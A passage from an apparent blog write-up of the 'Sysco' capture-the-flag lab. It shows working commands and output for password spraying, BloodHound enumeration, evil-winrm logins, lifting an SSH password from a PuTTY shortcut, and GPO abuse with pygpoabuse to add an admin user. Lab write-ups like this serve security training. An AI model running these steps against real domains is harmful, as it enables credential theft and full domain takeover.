    445    DC01             [-] SYSCO.LOCAL\jack.dowland:Chocolate1 STATUS_LOGON_FAILURE <br>SMB         10.1.231.86     445    DC01             [+] SYSCO.LOCAL\lainey.moore:Chocolate1 </pre><ul><li>password matches to lainey.moore as suspected.</li><li>I think it’s time we get a bloodhound loot</li></ul><h4>Users and password recap</h4><pre>jack.dowland:musiscman1<br>lainey.moore:Chocolate1</pre><h4>Bloodhound</h4><pre> bloodhound-python -u &#39;jack.dowland&#39; -p &#39;musicman1&#39; -d &#39;sysco.local&#39; -ns &#39;10.1.231.86&#39; -c ALL<br>INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)<br>INFO: Found AD domain: sysco.local<br>INFO: Getting TGT for user<br>INFO: Connecting to LDAP server: dc01.sysco.local<br>WARNING: Kerberos auth to LDAP failed, trying NTLM<br>INFO: Found 1 domains<br>INFO: Found 1 domains in the forest<br>INFO: Found 1 computers<br>INFO: Connecting to LDAP server: dc01.sysco.local<br>INFO: Found 7 users<br>INFO: Found 52 groups<br>INFO: Found 2 gpos<br>INFO: Found 2 ous<br>INFO: Found 19 containers<br>INFO: Found 0 trusts<br>INFO: Starting computer enumeration with 10 workers<br>INFO: Querying computer: DC01.SYSCO.LOCAL</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*R09DToh4peuYMuv0Aow-2g.png" /></figure><ul><li>Since lainey.moore is member of Remote Desktop we can have remote access</li></ul><pre>└─$ evil-winrm-py  -i dc01.sysco.local -u &#39;lainey.moore&#39; -p &#39;Chocolate1&#39;<br>          _ _            _                             <br>  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ <br> / -_\ V | | |___\ V  V | | &#39; \| &#39;_| &#39;  |___| &#39;_ | || |<br> \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |<br>                                            |_|   |__/  v1.6.0<br><br>[*] Connecting to &#39;dc01.sysco.local:5985&#39; as &#39;lainey.moore&#39;<br>evil-winrm-py PS C:\Users\lainey.moore\Documents&gt; ls<br><br><br>    Directory: C:\Users\lainey.moore\Documents<br><br><br>Mode                 LastWriteTime         Length Name                                                                  <br>----                 -------------         ------ ----                                                                  <br>-a----        10/17/2025  10:42 PM            172 notes.txt                                                             <br>-a----        10/17/2025  10:32 PM           1062 Putty - HS Router login.lnk                                           <br>-a----        10/17/2025  10:24 PM        1709672 putty.exe                                                             <br><br><br>evil-winrm-py PS C:\Users\lainey.moore\Documents&gt; cd ..\Desktop<br>evil-winrm-py PS C:\Users\lainey.moore\Desktop&gt; cat user.txt<br>5efd12c8bc80b6882fa86f5698b14dc6<br>evil-winrm-py PS C:\Users\lainey.moore\Desktop&gt;</pre><h3>Post Enumeration on Lainey.moore</h3><pre>evil-winrm-py PS C:\Users\lainey.moore\Documents&gt; cat notes.txt<br>-Ssh to the 10.0.0.1 router with credentials provided by sysadmin to update ACLs for HS company<br>-Fix errors in config provided by tier 1 for Minicorp&#39;s new office router</pre><ul><li>we download the putty lnk</li></ul><pre>evil-winrm-py PS C:\Users\lainey.moore\Documents&gt; download &quot;Putty - HS Router login.lnk&quot; .<br> <br>Downloading C:\Users\lainey.moore\Documents\Putty - HS Router login.lnk: 64.0kB [00:00, 574MB/s]      <br>[+] File downloaded successfully and saved as: /home/kali/Documents/hacksmarter/sysco/.</pre><pre>lnkinfo  Putty\ -\ HS\ Router\ login.lnk <br>lnkinfo 20240423<br><br>Windows Shortcut information:<br>        Contains a link target identifier<br>        Contains a relative path string<br>        Contains a working directory string<br>        Contains a command line arguments string<br>        Number of data blocks           : 2<br><br>Link information:<br>        Creation time                   : Oct 18, 2025 05:24:50.324874400 UTC<br>        Modification time               : Oct 18, 2025 05:24:54.226696600 UTC<br>        Access time                     : Oct 18, 2025 05:24:54.226696600 UTC<br>        File size                       : 1709672 bytes<br>        Icon index                      : 0<br>        Show Window value               : 0x00000001<br>        Hot Key value                   : 0<br>        File attribute flags            : 0x00000020<br>                Should be archived (FILE_ATTRIBUTE_ARCHIVE)<br>        Drive type                      : Fixed (3)<br>        Drive serial number             : 0x503f9bb2<br>        Volume label                    : <br>        Local path                      : C:\\Users\\lainey.moore\\Documents\\putty.exe<br>        Relative path                   : .\\putty.exe<br>        Working directory               : C:\\Users\\lainey.moore\\Documents<br>        Command line arguments          : -ssh netadmin@10.0.0.1 -pw 5y5coSmarter2025!!!</pre><ul><li>We have a password that passes as via ssh let’s spray it to our domain.</li></ul><pre>└─$ nxc smb sysco.local -u users.txt -p &#39;5y5coSmarter2025!!!&#39; --continue-on-success<br>SMB         10.1.231.86     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.231.86     445    DC01             [+] SYSCO.LOCAL\greg.shields:5y5coSmarter2025!!! <br>SMB         10.1.231.86     445    DC01             [-] SYSCO.LOCAL\jack.dowland:5y5coSmarter2025!!! STATUS_LOGON_FAILURE <br>SMB         10.1.231.86     445    DC01             [-] SYSCO.LOCAL\lainey.moore:5y5coSmarter2025!!! STATUS_LOGON_FAILURE </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*tANaegnYNNZ2Fd8VSGtKbw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*CO4iGtCBUCVGMgy1_784NQ.png" /></figure><ul><li>We’re going to abuse GPO</li></ul><pre>$ python3 pygpoabuse.py sysco.local/greg.shields:&#39;5y5coSmarter2025!!!&#39;  -gpo-id &#39;31B2F340-016D-11D2-945F-00C04FB984F9&#39; <br>SUCCESS:root:ScheduledTask TASK_d264031a created!<br>[+] ScheduledTask TASK_d264031a created!</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*qtq9x5lEMUh3anaMoI-ncQ.png" /></figure><ul><li>From github.</li><li>Since we don’t have time we are going to login and update force or wait</li></ul><pre> nxc smb sysco.local -u &#39;john&#39; -p &#39;H4x00r123..&#39;                          <br>SMB         10.1.79.106     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.79.106     445    DC01             [-] Error checking if user is admin on 10.1.79.106: The NETBIOS connection with the remote host timed out.<br>SMB         10.1.79.106     445    DC01             [+] SYSCO.LOCAL\john:H4x00r123..</pre><h4>Logging in as John</h4><pre>──(evil)─(kali㉿kali)-[~/Documents/hacksmarter/sysco]<br>└─$ evil-winrm-py -i DC01.SYSCO.LOCAL -u &#39;john&#39; -p &#39;H4x00r123..&#39;<br>          _ _            _                             <br>  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ <br> / -_\ V | | |___\ V  V | | &#39; \| &#39;_| &#39;  |___| &#39;_ | || |<br> \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |<br>                                            |_|   |__/  v1.6.0<br><br>[*] Connecting to &#39;DC01.SYSCO.LOCAL:5985&#39; as &#39;john&#39;<br>evil-winrm-py PS C:\Users\john\Documents&gt; cd ..<br>evil-winrm-py PS C:\Users\john&gt; cd ..<br>evil-winrm-py PS C:\Users&gt; cd Administrator\Desktop<br>evil-winrm-py PS C:\Users\Administrator\Desktop&gt; cat root.txt<br>e7f850e7c14aeae7ecbb900fb6afbba1<br>evil-winrm-py PS C:\Users\Administrator\Desktop&gt;</pre><p>Done.</p><p>Thanks for reading .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0851163b207d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>